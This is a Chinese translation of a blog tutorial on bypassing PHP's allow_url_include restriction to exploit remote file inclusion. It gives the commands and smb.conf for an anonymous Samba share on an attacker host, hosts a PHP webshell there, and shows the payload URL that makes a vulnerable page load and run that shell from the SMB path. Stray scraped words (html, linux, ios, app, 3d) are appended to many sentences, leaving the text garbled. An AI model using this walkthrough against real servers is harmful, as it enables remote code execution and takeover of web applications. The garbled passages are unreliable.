利用PHP應用程序中的遠程文件包含(RFI)並繞過遠程URL包含限制

來源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1php

前言

文章講訴瞭如何繞過遠程URL包含限制。在PHP開發環境php.ini配置文件裏」,allow_url_include「爲「off」的狀況下,不容許PHP加載遠程HTTP或FTP url包含遠程文件。可是使用SMB依舊能夠加載。html

攻擊思路

攻擊者須要配置SMB服務器,啓用匿名瀏覽訪問。利用有漏洞的PHP代碼從SMB共享裏訪問PHP Webshell。linux

  • 配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。ios

  • 配置SMB服務器的匿名讀訪問權web

  • 利用有漏洞的PHP程序訪問SMBshell

PHP環境設置

在PHP.ini文件裏把 "allow_url_fopen" 和 "allow_url_include" 設爲 "Off"。服務器

當前配置PHP版本爲「5.5.11」:app

肯定PHP不容許遠程文件包含url

試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤而且沒有發生RFI。3d

配置匿名讀訪問SAMBA服務器(Linux)

使用下面提到的命令安裝SAMBA服務器:

建立SMB共享目錄(/var/www/html/pub/)

mkdir /var/www/html/pub/

配置SMB共享目錄的權限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

運行如下提到的命令刪除SAMBA服務器配置文件的默認內容

echo > /etc/samba/smb.conf

將下面提到的內容放在'/etc/samba/smb.conf'文件中

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

從新啓動SAMBA服務器

service smbd restart

成功從新啓動SAMBA服務器後,嘗試訪問SMB共享並確保SAMBA服務器不須要憑據驗證。

\\192.168.0.3\

在SMB共享中託管PHP Web shell

在目錄'/var/www/html/pub'中託管PHP shell

利用Windows Explorer打開SMB訪問 Win+R直接訪問。

\\192.168.0.3\ica\

攻擊文件包含漏洞參數

利用SMB的php webshell路徑傳入文件包含漏洞的參數裏。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

SMB共享中獲取Web shell並在應用程序服務器上順利執行PHP代碼,繞過了遠程文件包含的限制。

相關文章
相關標籤/搜索